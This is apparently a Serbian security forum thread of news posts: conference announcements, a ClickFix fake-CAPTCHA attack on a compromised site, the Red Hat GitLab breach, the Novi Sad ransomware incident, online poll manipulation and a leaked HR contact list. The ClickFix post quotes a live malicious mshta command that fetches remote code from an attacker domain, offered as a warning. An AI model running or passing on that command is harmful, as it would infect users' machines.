Quote:Connections Foster Our Future

This year, our networking platform brings together 250 attendees and 20+ expert speakers and panelists to delve into the latest trends and challenges in cybersecurity, AI, and digital resilience—uniting top professionals to explore emerging threats, innovation, and strategy.

When: October 30, 2025
Mona Plaza Belgrade

sajt https://cybersecuritysummit.rs/
agenda https://cybersecuritysummit.rs/agenda/

Quote:Peta Cyber Security Summit konferencija okuplja vodeće stručnjake, predstavnike vlade, preduzetnike, studente i akademsku zajednicu kako bi zajednički istražili najnovije trendove, izazove i rješenja u oblasti cyber sigurnosti.

Kroz pažljivo osmišljen program, koji spaja teoriju i praksu, svaki učesnik ima priliku da stekne sveobuhvatna znanja i ključne vještine za borbu protiv savremenih cyber prijetnji.

sajt https://yes-css.ba/

agenda (u pripremi) https://yes-css.ba/agenda/

Zdravo,
od danas je poznato da je kompromitovan sajt vanilica[.]rs i postavljen je na home-page fake captcha - takoje identifikovan kao clickfix napad koji za human verifikaciju trazi da se unese i izvrsi malicionza powershell komanda:
"mshta https://d.pisora.ru/u8.google?t=t2728jot"

U vreme detekcije fakecapthcha se ne vidi na:
https://urlscan.io/result/0199b8d5-1ae4-...d85f8d412/
Ali je identifikovana na sandboxu Browserling: https://www.browserling.com/

Pozdrav.

01.10.2025 grupa za sajber kriminal "Crimson Collective“ javno je otkrila kompromitaciju konsultantske GitLab instance kompanije Red Hat. Napadači tvrde da su ukrali 570 GB kompresovanih podataka iz preko 28.000 repozitorijuma, uključujući osetljive izveštaje o angažovanju kupaca (CER) od približno 800 organizacija širom sveta.

CER je konsultantski dokument pripremljen za klijente koji često sadrži detalje o infrastrukturi, podatke o konfiguraciji, tokene za autentifikaciju i druge informacije koje bi mogle biti zloupotrebljene za kompromitaciju mreža korisnika.

Prvobitno su objavili manju strukturu direktorijuma kao dokaz da imaju podatke u posedu. Sadržani CER-ovi obuhvataju širok spektar sektora i dobro poznatih organizacija u Americi kao što su Bank of America, T-Mobile, AT&T, Fidelity, Kaiser, Mayo Clinic, Walmart, Costco, the U.S. Navy’s Naval Surface Warfare Center, Federal Aviation Administration, the House of Representatives, and many others.

Red Hat je takođe izdao saopštenje https://access.redhat.com/articles/7132207

Kompanija je potvrdila da instanca sadrži CER dokumenta koja mogu da uključuju specifikacije projekata, primere isečaka koda i internu komunikaciju u vezi sa konsultantskim uslugama.

Kiosk escape na delu...

neko se igrao i pustio navodni porno snimak na ekranu automata za plaćanje parkinga

   

izvor reddit

PURS upozorava na lažni instagram nalog :

Informacija o zvaničnom Instagram nalogu Poreske uprave Republike Srbije

Quote:obaveštavamo da je otkriven Instagram profil koji se predstavlja kao profil Poreske uprave Republike Srbije, sa korisničkim imenom poreskauprava_rs.

   

nalog više ne postoji

Quote:This is the third edition of the Artificial Intelligence conference. The conference has been organized for the first time in 2023, as a result of a long-lasting desire of a large number of researchers in the field of Artificial Intelligence (AI) in Serbia to organize a meeting in this field with a primarily research orientation, and under the auspices of the most prominent Serbian scientific institution, the Serbian Academy of Sciences and Arts (SASA).

The conference aims to bring together researchers from diverse branches of AI from all over Serbia and neighboring countries to present their work and results. The field of AI is not only very popular today, but also very broad. Therefore, the list of the topics of interest at this conference is very extensive. 

In addition to highlighting the research character, important features of this conference include:

• focusing exclusively on the field of AI
  
• stimulating discussions on the fundamental aspects of AI
  
• paying special attention to new topics in AI
  
• connecting techniques and results from various subfields of AI
  
• gathering a large number of researchers in the field of AI from Serbia, the region, and from other countries, both those with experience and young researchers
  

https://www.mi.sanu.ac.rs/~ai_conf/index.html

program https://www.mi.sanu.ac.rs/~ai_conf/progr...ogram-info

Ima nekih zanimljivih tema za bezbednost :

9.10.2025 :

   

10.10.2025 :

   

Ovo se desilo pre nego što je ovaj forum postojao...

Pažnja: Novi opasni ransomware pwndLocker i u Srbiji, napadnut Novi Sad!

Blokirani serveri novosadskih službi, hakeri traže bitkoine da bi otključali vredne baze podataka

Novi Sad odbio da plati otkup hakerima i ostao bez baza podataka

Kako je Novi Sad otet i zaključan - Prvi domaći slučaj napada na kritičnu infrastrukturu

Zanimljivo je ovo obaveštenje dato Upravi Kriminalne Policije od strane zaposlenog u JKP koji opisuje šta se desilo (ceo dokument je na poslednjem linku gore) :

   

   


Godinu dana posle napada objavljen je i blog od strane firme koja im održava sisteme o tome kako su remontovali infrastrukturu :

JKP Informatika Maximizes Service Resilience for Its Customers

Quote:Public utility company JKP Informatika, a municipal IT and internet service provider in the town of Novi Sad, Serbia, overhauled its entire infrastructure to improve the resilience of its systems and reinforce them against external cyberattacks.

Od jutros pratim ovaj cirkus sa anketom za predsednika RS na ATV BL.
 Pokusacu kroz tekst i slike da objasnim sta i kako se desava. 

Nepoznato lice ili vise njih - je naslo nacin da digne broj glasova za odredjenog kandidata. 
Kada su ljudi iz ATV vidjeli + komentari neki, oni su resetovali anketu na pocetku u kojem je kandidat opozicije gubio. 
To resetovanje je ujedno vracanje iz bekapa, sto cini da server ode offline nekih 5-7 minuta. 
U toku danasnjeg dana se desilo 3-4 puta da rade "resetovanje"  

IZVOR
ANKETA

Na jednom dark web forumu neko je obavio tabelu sa podacima HR direktora/menadžera i drugih HR ljudi firmi iz Srbije

   

podaci uključuju : 

organization name
name
job title
personal email
email
website
phone number
function
industry

izgledaju ovako :

   

Verovatno je većina ovih podataka javna i nije teško pronaći individualno nekoga iz HR odeljenja neke tražene firme. 
Moguće je da je neko skupio sve na jedno mesto koristeći automatizovano skupljanje podataka sa linkedin-a i/ili sajtova firmi. Negde je broj telefona fiksni od firme a negde je mobilni, negde ima više HR ljudi za jednu firmu a negde samo po jedan.

Ali šta je sa ličnim mejlom? 

Nema ga na svim zapisima, tamo gde ga ima moguće je da se do njega došlo unakrsnom pretragom sa procurelim bazama podataka, gde na primer pretraže kompanijski mejl i nađu korisnička imena koja onda pretraže opet po bazama i dođu do drugog mejla koji je registrovan istim imenom, ili opet sa linkedina, bilo je procurelih baza podataka sa linkedina.

Ali kakve veze ima? ovo su svakako javni podaci!

Tačno je da na prvi pogled nema neke opasnosti, ali svi podaci na jednom mestu olakšavaju malicioznim akterima da šalju direktno fišing mejlove na sve melj adrese ili mobilne telefone. Takođe imajući ove podatke mogu automatskim alatima da pretražuju procurele baze i dođu do još podataka za ciljane fišing napade. 
Uglavnom ne može da škodi upozoriti HR osoblje u firmama da budu na većem oprezu po pitanju primljenih mejlova i drugih potencijalnih prevara.